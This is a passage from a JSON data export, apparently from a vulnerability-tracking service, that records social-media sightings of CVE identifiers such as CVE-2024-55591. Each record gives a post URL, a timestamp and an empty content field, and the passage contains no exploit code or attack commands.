"seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfvclsfajo2n", "content": "", "creation_timestamp": "2025-01-16T22:15:59.777744Z"}, {"uuid": "bfc350b5-3db2-4804-9059-002734d9c48f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://bsky.app/profile/opsmatters.bsky.social/post/3lfvqijz3rz2m", "content": "", "creation_timestamp": "2025-01-17T02:24:42.957478Z"}, {"uuid": "546fe581-74df-419a-931b-b27b8edd3137", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://bsky.app/profile/opsmatters.bsky.social/post/3lfvv47y3tn2b", "content": "", "creation_timestamp": "2025-01-17T03:47:18.384830Z"}, {"uuid": "3d468956-f0a5-4b56-a938-a9003cb23c1c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55218", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf6hozzsjx2e", "content": "", "creation_timestamp": "2025-01-07T20:16:03.157486Z"}, {"uuid": "eb0d89b6-6d93-4bd1-ae30-743656182598", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55555", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/113789037043063136", "content": "", "creation_timestamp": "2025-01-07T20:48:34.664456Z"}, {"uuid": "3b43e84e-0a1a-4647-b088-274c442cbd9f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55218", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lf6jqzzhvm2i", "content": "", "creation_timestamp": "2025-01-07T20:53:00.003206Z"}, {"uuid": "31847728-81bf-43db-b2ef-1c5f9e8fa3db", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55956", "type": "seen", "source": "https://bsky.app/profile/stephenfewer.bsky.social/post/3lf6jv7gjrc26", "content": "", "creation_timestamp": "2025-01-07T20:55:20.048023Z"}, {"uuid": "433a3405-d791-4a21-8349-8d65c03da6ab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55550", "type": "seen", "source": "https://bsky.app/profile/kitafox.bsky.social/post/3lf6vrzve4l2f", "content": "", "creation_timestamp": "2025-01-08T00:28:16.095687Z"}, {"uuid": "b2e9844c-0b83-402a-b89b-96d431dc7613", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55355", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf6ygkihdb2x", "content": "", "creation_timestamp": "2025-01-08T01:15:32.116908Z"}, {"uuid": "11d4a479-8be3-4987-8801-85e49a3e26fb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55356", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf6ygn4ibn2f", "content": "", "creation_timestamp": "2025-01-08T01:15:35.605523Z"}, {"uuid": "a8772057-e798-4564-8348-68e713a6eaeb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55356", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lf6zy2epwj2e", "content": "", "creation_timestamp": "2025-01-08T01:43:12.951314Z"}, {"uuid": "ed20e87e-c68b-4deb-9495-c2dcb8b542e2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55355", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lf6zy2tlfz2h", "content": "", "creation_timestamp": "2025-01-08T01:43:14.293980Z"}, {"uuid": "7d6a9436-7bce-4afd-9c57-87d951723f15", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://bsky.app/profile/rajsamani.bsky.social/post/3lfwhhkvnok2h", "content": "", "creation_timestamp": "2025-01-17T09:15:48.566760Z"}, {"uuid": "dfe0333f-19f5-42e5-8f04-52619d2873d5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://bsky.app/profile/elhackernet.extwitter.link/post/3lfwlbt2ybk26", "content": "", "creation_timestamp": "2025-01-17T10:24:08.531567Z"}, {"uuid": "d8d87196-1261-4084-aa67-1cc43a2fca5a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://bsky.app/profile/onyphe.bsky.social/post/3lfxdtuboyk27", "content": "", "creation_timestamp": "2025-01-17T17:43:45.572132Z"}, {"uuid": "fb4bbc9b-3048-4cf2-a71a-95a0a1cb1ae4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://bsky.app/profile/aakl.bsky.social/post/3lg72zcavts2u", "content": "", "creation_timestamp": "2025-01-20T19:27:00.535632Z"}, {"uuid": "a437c383-a1a2-4168-9dc4-ffd3e0c4ed7d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://bsky.app/profile/potato.software/post/3lg73k65wce25", "content": "", "creation_timestamp": "2025-01-20T19:36:26.107556Z"}, {"uuid": "0ee03a99-45f4-4432-9138-3daa474e58cc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55956", "type": "seen", "source": "https://bsky.app/profile/rajsamani.bsky.social/post/3lgaqupqg4c2h", "content": "", "creation_timestamp": "2025-01-21T11:30:50.682154Z"}, {"uuid": "4e30f6eb-896f-419f-99cf-ca09bf47e3bd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://bsky.app/profile/opsmatters.bsky.social/post/3lfyexcckev2i", "content": "", "creation_timestamp": "2025-01-18T03:36:12.544817Z"}, {"uuid": "866d09a3-2248-4635-b4e0-3bdb65f1c2b3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3lfz7qdwxcs2c", "content": "", "creation_timestamp": "2025-01-18T11:35:40.514570Z"}, {"uuid": "5d218807-4b3d-4e97-b090-b4703b7c4f42", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://bsky.app/profile/dinosn.bsky.social/post/3lg2w63x76s2f", "content": "", "creation_timestamp": "2025-01-19T03:49:36.301496Z"}, {"uuid": "2c4285dd-0827-4531-ac84-9e5c24ded309", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://bsky.app/profile/tmjintel.bsky.social/post/3lg3rxnvsng2x", "content": "", "creation_timestamp": "2025-01-19T12:07:03.278966Z"}, {"uuid": "4ad6eddb-3bf9-4357-a9d9-101cde9e1540", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://bsky.app/profile/decrypt.lol/post/3lg4nirllpc2q", "content": "", "creation_timestamp": "2025-01-19T20:19:48.558449Z"}, {"uuid": "fe933c43-3461-4cb3-ac57-6db975bf4fce", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://bsky.app/profile/shadowserver.bsky.social/post/3lg6egi5vzk2o", "content": "", "creation_timestamp": "2025-01-20T12:42:55.786819Z"}, {"uuid": "9b73ec76-f8cd-43c3-b352-a07ebdc94cd5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://bsky.app/profile/shadowserver.bsky.social/post/3lg6egnpho22o", "content": "", "creation_timestamp": "2025-01-20T12:42:56.771983Z"}, {"uuid": "d8607d41-804c-4eae-a1f3-ec570cf5535d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://bsky.app/profile/shadowserver.bsky.social/post/3lg6egouhb22o", "content": "", "creation_timestamp": "2025-01-20T12:42:57.729438Z"}, {"uuid": "dfb8ec83-a3bd-4af4-992d-a672825ef56d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2024-55591", "type": "seen", "source": "https://infosec.exchange/users/shadowserver/statuses/113860748406082477", "content": "", "creation_timestamp": "2025-01-20T12:45:44.336559Z"}, {"uuid": "c0de13ef-e5e8-4033-b37b-84acc2e70af9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://bsky.app/profile/reynardsec.bsky.social/post/3lg6kbsw3vs2g", "content": "", "creation_timestamp": "2025-01-20T14:27:32.801738Z"}, {"uuid": "1b32c8bd-c079-43c7-b481-b24b271ac088", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://bsky.app/profile/hacker.at.thenote.app/post/3lgfbhheb6s2n", "content": "", "creation_timestamp": "2025-01-23T06:38:16.825309Z"}, {"uuid": "a49b37cc-27e3-4321-885a-8fd0ca2dcc4f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://bsky.app/profile/tmjintel.bsky.social/post/3lgqlmhflgf2n", "content": "", "creation_timestamp": "2025-01-27T18:39:18.905816Z"}, {"uuid": "84a5891b-b3b0-43ae-a4f4-7f65a27e7edd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55241", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113959065784738025", "content": "", "creation_timestamp": "2025-02-06T21:29:07.072986Z"}, {"uuid": "44766a66-ddd9-49e9-935b-fa2ddb2de0a7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55194", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113880028388232876", "content": "", "creation_timestamp": "2025-01-23T22:28:52.118024Z"}, {"uuid": "feff0fbe-8c89-4825-976f-54f9219782e8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55415", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lgxrnlwu7e2h", "content": "", "creation_timestamp": "2025-01-30T15:15:57.344317Z"}, {"uuid": "d007b01b-e69a-42da-a13b-5506fd34b8ad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55504", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3lgebazgvos2h", "content": "", "creation_timestamp": "2025-01-22T21:02:03.779699Z"}, {"uuid": "62947bbd-936e-4ec1-ae6d-8085f13b3a01", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55195", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113880028402380471", "content": "", "creation_timestamp": "2025-01-23T22:28:52.285900Z"}, {"uuid": "e0628786-cd58-488b-b48b-4b32f8dc45da", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55416", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lgxrnocmz42i", "content": "", "creation_timestamp": "2025-01-30T15:15:59.871201Z"}, {"uuid": "3f67d098-3f20-46b9-a36b-6bce42f48914", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55956", "type": "seen", "source": "https://infosec.exchange/users/screaminggoat/statuses/113867636525001029", "content": "", "creation_timestamp": "2025-01-21T17:57:27.680218Z"}, {"uuid": "637f9081-9fae-4c8a-9b54-8ac6be4c649f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55504", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lgbktyrxru27", "content": "", "creation_timestamp": "2025-01-21T19:15:41.766976Z"}, {"uuid": "e8631a5c-3450-4201-a32b-49e3023574f7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55504", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lgbptgdbwp2q", "content": "", "creation_timestamp": "2025-01-21T20:44:53.143801Z"}, {"uuid": "232a9cc1-903f-4eda-a245-0c95526f7f52", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55958", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lgbrkrhyls2p", "content": "", "creation_timestamp": "2025-01-21T21:15:48.372663Z"}, {"uuid": "a9d6dbda-d9be-424c-a908-a6969c3fe171", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55959", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lgbrktsix32n", "content": "", "creation_timestamp": "2025-01-21T21:15:50.639147Z"}, {"uuid": "bdccc7ec-4721-48ea-9ac5-041e928af503", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://bsky.app/profile/taggart-tech.com/post/3lgqm4pbvp22e", "content": "", "creation_timestamp": "2025-01-27T18:48:24.284036Z"}, {"uuid": "ff835096-44b9-486b-98a2-14056f9eb18e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55417", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lgxrnqiog32n", "content": "", "creation_timestamp": "2025-01-30T15:16:02.054773Z"}, {"uuid": "cdaf5e5f-2fc7-4065-8ef4-1c319561cad2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2024-55591", "type": "seen", "source": "https://infosec.exchange/users/mttaggart/statuses/113901810623148521", "content": "", "creation_timestamp": "2025-01-27T18:48:25.004259Z"}, {"uuid": "934c90cf-25dd-4666-9563-d07a1c72f3b1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://bsky.app/profile/kitafox.bsky.social/post/3lgvzgvnglb2y", "content": "", "creation_timestamp": "2025-01-29T22:30:04.529408Z"}, {"uuid": "54b4d62d-a47e-4b6f-80c7-d1ab51a9205f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://bsky.app/profile/r-netsec.bsky.social/post/3lgqmhq3sjc2h", "content": "", "creation_timestamp": "2025-01-27T18:54:33.409267Z"}, {"uuid": "c5a90375-006b-484c-b922-299f31910ea9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2024-55591", "type": "seen", "source": "https://bsky.app/profile/sambowne.infosec.exchange.ap.brid.gy/post/3lgvzyrp3rft2", "content": "", "creation_timestamp": "2025-01-29T22:41:36.208745Z"}, {"uuid": "6400739f-b04c-4c36-b508-67b03292aec1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55228", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lgqmj4sq5b2e", "content": "", "creation_timestamp": "2025-01-27T18:55:20.287729Z"}, {"uuid": "bb7e9f68-b4e9-4ed9-b7c5-01e02fcbddb5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55573", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lggz73dxp72x", "content": "", "creation_timestamp": "2025-01-23T23:15:44.540745Z"}, {"uuid": "f12873d4-db1d-4c18-8ec4-c794c0e42c3f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://bsky.app/profile/kyosuke-tanaka.bsky.social/post/3lgctsvrw5s2y", "content": "", "creation_timestamp": "2025-01-22T07:28:48.994102Z"}, {"uuid": "09b30992-52f3-40f4-bd05-98a8e09fa399", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55227", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lgqmj5wvuv2q", "content": "", "creation_timestamp": "2025-01-27T18:55:24.605893Z"}, {"uuid": "564d1551-0599-49d1-9c58-b5b7eafac62a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55573", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/113880340336486723", "content": "", "creation_timestamp": "2025-01-23T23:48:12.885171Z"}, {"uuid": "9eb318e4-be7b-4d75-9e5d-81ba310f7ae1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://bsky.app/profile/tamosan.bsky.social/post/3lgekawsf562x", "content": "", "creation_timestamp": "2025-01-22T23:43:01.793464Z"}, {"uuid": "fb3b3393-bd2b-45ff-9619-24c32ede8913", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55573", "type": "seen", "source": "https://bsky.app/profile/bolhasec.com/post/3lguul2ho762j", "content": "", "creation_timestamp": "2025-01-29T11:30:14.807358Z"}, {"uuid": "4fc5c228-be03-4e65-9de4-782415cdae75", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://bsky.app/profile/schubringglobal.bsky.social/post/3lgeolknay42l", "content": "", "creation_timestamp": "2025-01-23T01:00:33.850700Z"}, {"uuid": "27f378e0-1626-49d9-8b81-828b31c42820", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55062", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/113941447390813702", "content": "", "creation_timestamp": "2025-02-03T18:48:47.346930Z"}, {"uuid": "afe99086-f848-4dc2-b237-0e58807490f0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55214", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113963289940451946", "content": "", "creation_timestamp": "2025-02-07T15:23:22.578600Z"}, {"uuid": "c4828928-ffba-4671-84ac-660c090fea95", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55192", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lgh3g2khmy2q", "content": "", "creation_timestamp": "2025-01-23T23:55:27.637851Z"}, {"uuid": "0b49b039-379d-40e7-9510-42e6ebcd0d7e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55193", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lgh3g2nxvd2q", "content": "", "creation_timestamp": "2025-01-23T23:55:28.228299Z"}, {"uuid": "19501c1a-da38-40f5-9b1c-709ce4fe0aa4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55194", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lgh3g3343g2e", "content": "", "creation_timestamp": "2025-01-23T23:55:30.627220Z"}, {"uuid": "edab301d-2aae-4798-9b48-6d99b544500a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55573", "type": "seen", "source": "https://bsky.app/profile/dinosn.bsky.social/post/3lgroevpkmk2s", "content": "", "creation_timestamp": "2025-01-28T05:01:31.943455Z"}, {"uuid": "1d52d914-3986-4298-a38e-4a6941352afe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5559", "type": "seen", "source": "https://bsky.app/profile/piyokango.bsky.social/post/3lgw6sboq322j", "content": "", "creation_timestamp": "2025-01-30T00:05:59.068229Z"}, {"uuid": "cb98b4ae-9b10-4af4-bb3f-58a175c7093b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5559", "type": "seen", "source": "https://bsky.app/profile/piyokango.bsky.social/post/3lgw77opp7s2j", "content": "", "creation_timestamp": "2025-01-30T00:13:28.318330Z"}, {"uuid": "f2a82c45-3206-40be-8bde-9e1aa3ea88a2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55573", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lgh3g36ixu2h", "content": "", "creation_timestamp": "2025-01-23T23:55:31.222588Z"}, {"uuid": "810c3b9a-51c9-4f02-9c1a-06c5bb9fe2d1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55573", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lgh3g3p6oz2k", "content": "", "creation_timestamp": "2025-01-23T23:55:34.262100Z"}, {"uuid": "80681aee-19aa-4567-8d5a-08d1f9a967a5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55195", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lgh3g442h62k", "content": "", "creation_timestamp": "2025-01-23T23:55:36.647234Z"}, {"uuid": "c671d927-da5d-49c3-b33a-8d1acb2b4ca1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://bsky.app/profile/binitamshah.bsky.social/post/3lguyw3lars2h", "content": "", "creation_timestamp": "2025-01-29T12:48:06.734030Z"}, {"uuid": "4a64e9dc-bf7b-46b1-b2b8-c96e29319a42", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55957", "type": "seen", "source": "https://bsky.app/profile/r-netsec.bsky.social/post/3lhl3utztgr26", "content": "", "creation_timestamp": "2025-02-07T07:39:33.308329Z"}, {"uuid": "0da60c2d-8d80-40dc-9946-00013246f5fc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55241", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lhk4gkgrkd2t", "content": "", "creation_timestamp": "2025-02-06T22:16:47.441226Z"}, {"uuid": "578186cb-ccdd-4b4d-9db4-bc40aa3c43c2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55456", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lhcdl2dgkh2q", "content": "", "creation_timestamp": "2025-02-03T20:03:16.484874Z"}, {"uuid": "5f8ab5b7-10a8-4df4-aae4-9071a32ed248", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5528", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113950849329817419", "content": "", "creation_timestamp": "2025-02-05T10:39:35.466217Z"}, {"uuid": "55b96dc6-7c59-48f5-a5a3-898571b0aceb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://bsky.app/profile/test-cvp.bsky.social/post/3lgv4fbh6wp2k", "content": "", "creation_timestamp": "2025-01-29T13:50:09.800187Z"}, {"uuid": "8e77a91f-4f04-427e-8614-0a1186bcb780", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5528", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lhggzwexys2h", "content": "", "creation_timestamp": "2025-02-05T11:15:55.876458Z"}, {"uuid": "9a47459e-243e-41ed-836a-89351655f39a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://bsky.app/profile/jcsc.je/post/3lgd4t4s3tx24", "content": "", "creation_timestamp": "2025-01-22T10:09:59.775459Z"}, {"uuid": 